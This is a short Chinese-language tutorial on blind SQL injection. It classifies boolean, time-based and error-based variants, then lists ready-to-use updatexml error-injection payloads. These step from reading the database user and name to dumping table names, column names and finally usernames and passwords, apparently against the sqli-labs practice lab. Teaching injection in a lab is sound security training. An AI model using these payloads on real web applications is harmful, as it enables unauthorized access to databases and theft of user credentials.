一、盲注
盲注就是在注入过程中,获取的数据不能返回到前端页面,此时,我们需要利用一些方法来进行判断或者尝试。
二、分类
1.布尔盲注——逻辑判断(不回显,接着使用)
2.时间盲注——延时判断(不回显,最后使用,效率最慢)
3.报错型盲注——报错回显(强制报错回显,优先使用,效率快)
三、
(1) 、报错注入(updatexml类型)
1.获取user()的值
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ 其中0x7e是ASCII编码,解码结果为~。
2.获取当前数据库的库名。
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
3.接着可以利用select语句继续获取数据库中的表名、字段名和字段内容。
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(concat(username,0x7e,password)) from security.users where id=1),0x7e),1)--+